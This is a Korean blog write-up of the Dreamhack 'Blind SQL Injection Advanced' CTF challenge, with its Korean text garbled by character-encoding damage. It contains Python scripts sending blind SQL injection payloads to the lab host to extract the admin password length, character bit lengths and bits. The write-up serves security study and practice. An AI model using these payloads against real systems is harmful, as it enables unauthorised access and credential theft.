7 - 1 - 1. Blind SQL Injection Advanced ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด
# Blind SQL Injection Advanced ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด
1. ๋ฌธ์ ํ์ธ ํ ๋ฌธ์ ํ์ผ ๋ค์ด๋ก๋
2. ๋ฌธ์ ํ์ผ ์คํ ํ ์ฝ๋ ๋ถ์
+ << Line 1 ~ 2 >>
: ๋ฐ์ดํฐ๋ฒ ์ด์ค user_db๋ฅผ utf-8์ ์ธ์ด ์ ์ผ๋ก ์์ฑํ๋ ์ฝ๋
+ << Line 11 ~ 13 >>
: upw, uid ์ปฌ๋ผ์ ๊ฐ์ง๋ users ํ ์ด๋ธ ์์ฑ
--> guest, admin, test ๊ณ์ ์ ํจ์ค์๋๋ ๊ฐ๊ฐ guest, Flag, test
+ << Line 1 ~ 3 >>
: ๊ตฌํ๋ ์น ์๋ฒ๋ flask, mysql์ ์ด์ฉํ์ฌ ๋์
+ << Line 18 ~ 20 >>
: row์ ๊ฐ์๋ฅผ 1๊ฐ๋ก ์ ํํ์ฌ ์กฐ๊ฑด์ ๋ง์กฑํ๋ ๊ฒฝ์ฐ ๊ฒฐ๊ณผ๊ฐ ์ถ๋ ฅ
+ << Line 23 ~ 32 >>
: GET ๋ฉ์๋๋ฅผ ์ฌ์ฉํ์ฌ / ๊ฒฝ๋ก์ uid ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด ์ฌ์ฉ์๋ก๋ถํฐ ๊ฐ์ ์ ๋ ฅ๋ฐ์
: ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ ๋ณ๋์ ๊ฒ์ฆ ๊ณผ์ ์ ๊ฑฐ์น์ง ์๊ณ ๊ณง๋ฐ๋ก mysql์ฟผ๋ฆฌ์ ์ฌ์ฉ๋จ
--> SQL Injection ์ทจ์ฝ์ ๋ฐ์
3. ์ ์ ์ ๋ณด ํ์ธ ํ ์๋ด๋ ๋งํฌ๋ก ์ ์
4. ๋น์นธ์ notes ์ ๋ ฅ ํ submit ๋ฒํผ ํด๋ฆญ
+ ์ ๋ ฅ๊ฐ์ด ํํฐ๋ง ์์ด ์กฐ๊ฑด๋ฌธ์ผ๋ก ๋ค์ด๊ฐ์ ํ์ธ
5. admin ๊ณ์ ์ ํจ์ค์๋ ๊ธธ์ด๋ฅผ ์์๋ด๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ฌธ ์์ฑ ํ ์คํ
1 #admin๊ณ์ ์ ํจ์ค์๋ ๊ธธ์ด ํ์ธ
2 from requests import get
3
4 host = "http://host3.dreamhack.games:17961/"
5
6 password_length = 0
7
8 while True:
9 password_length += 1
10
11 query = f"admin' and char_length(upw) = {password_length}-- -"
12 r = get(f"{host}/?uid={query}")
13
14 if "exists" in r.text:
15 break
16
17 print(f"password length: {password_length}")
+ ์ฟผ๋ฆฌ๋?
: ์ฌ์ฉ์๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ๋ณด๋ฅผ ์์ฒญํ๋ ํ์
+ << Line 1 >>
: ์ฝ๋ ์์ฑ์ ์ํด request ๋ชจ๋ ์ฌ์ฉ
+ << Line 11 >>
: ๋ฌธ์์ด ๋ฐ์ดํฐ์ ๋ฌธ์ ๊ธธ์ด๋ ๋ฐ์ด๋๋ฆฌ ํ์ผ ๋ฐ์ดํฐ์ ๋ฐ์ดํธ ์๋ฅผ ๋ฐํํ๊ธฐ ์ํด char_length ํจ์ ์ฌ์ฉ
--> length ํจ์์ ๊ฒฝ์ฐ ๋ฌธ์์ด์ด ์์คํค์ฝ๋๋ก ๊ตฌ์ฑ๋์ด์์ง ์์ ๊ฒฝ์ฐ ๋ถ์ ํํ ๊ฐ์ ๋ฐํํ ์ ์์ด ์ฌ์ฉ X
6. admin ๊ณ์ ํจ์ค์๋์ ๋ฌธ์๋ณ ๋นํธ์ด ๊ธธ์ด๋ฅผ ์์๋ด๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ฌธ ์์ฑ ํ ์คํ
1 #admin๊ณ์ ์ ํจ์ค์๋ ๋ฌธ์๋ณ ๋นํธ์ด ๊ธธ์ด ํ์ธ
2 for i in range(1, password_length + 1):
3
4 bit_length = 0
5
6 while True:
7 bit_length += 1
8
9 query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
10 r = get(f"{host}/?uid={query}")
11
12 if "exists" in r.text:
13 break
14
15 print(f"character {i}'s bit length: {bit_length}")
+ ํจ์ค์๋์ ๊ฐ ๋ฌธ์๋ณ ๋นํธ์ด ๊ธธ์ด๋ฅผ ์์๋ด์ผ ํ๋ ์ด์ ?
: admin ๊ณ์ ํจ์ค์๋์ ๊ฐ ๋ฌธ์๊ฐ ์ด๋ค ๊ฒ์ธ์ง ๋ช ํํ ์ ์ ์์ด ๊ณง๋ฐ๋ก ๋นํธ์ด ๋ณํ ๋ถ๊ฐ
--> ๋นํธ์ด ๋ณํ ์ถ์ถ ๊ณผ์ ์ ๊ฐ ๋นํธ์ด์ ๊ธธ์ด๋ฅผ ํ์ ์ ์ผ๋ก ์์๋ด๋ ๊ณผ์ ์ด ์์ด์ผ ํจ
+ << Line 9 ~ 10 >>
: length ํจ์๋ฅผ ์ด์ฉํ์ฌ ๊ฐ ๋ฌธ์๋ณ ๋นํธ์ด์ ๊ธธ์ด๋ฅผ ์ถ๋ ฅ
--> ๋นํธ์ด์ด ํญ์ 0๊ณผ 1๋ก ์ด๋ฃจ์ด์ ธ ์๋ ๊ฒ์ ์๋ช ํ์ฌ ์ผ๋ฐ์ ์ธ ํจ์ ์ฌ์ฉ ๊ฐ๋ฅ
7. ํจ์ค์๋์ ๋ฌธ์๋ณ ๋นํธ์ด์ ์ถ์ถํ๊ณ , ์ถ์ถ ๋นํธ์ด์ ๋ฌธ์๋ก ๋ณํํด์ฃผ๊ธฐ ์ํ ์ฝ๋ ์์ฑ
1 bits = ""
2
3 for j in range(1, bit_length + 1):
4
5 query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
6 r = get(f"{host}/?uid={query}")
7
8 if "exists" in r.text:
9 bits += "1"
10 else:
11 bits += "0"
12
13 print(f"character {i}'s bits: {bits}")
14
15 password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
16
17 print(password)
+ << Line 15 >>
: ๋นํธ์ด์ ์ ์๋ก ๋ณํ --> ํด๋์ค int ์ฌ์ฉ
: ์ ์๋ฅผ Bid Endian ํํ๋ก ๋ณํ --> int.to_bytes ํจ์ ์ด์ฉ
: ๋ฌธ์๋ฅผ ์ธ์ฝ๋ฉ์ ๋ง๊ฒ ๋ณํ --> bytes.decode ํจ์ ์ด์ฉ
8. ์์ ์ฝ๋๋ค๊ณผ ์ฟผ๋ฆฌ๋ฌธ๋ค์ ๋ชจ๋ ํฉ์ณ ์คํ
+ ๋ฌธ์ ํ์ด ์ฐธ๊ณ
'โ๏ธ Web Hacking > Dreamhack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] sql injection bypass WAF ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.24 |
---|---|
[Dreamhack] error based sql injection ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.22 |
[Dreamhack] funjs ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.15 |
[Dreamhack] Login-1 ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.14 |
[Dreamhack] Session ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.10 |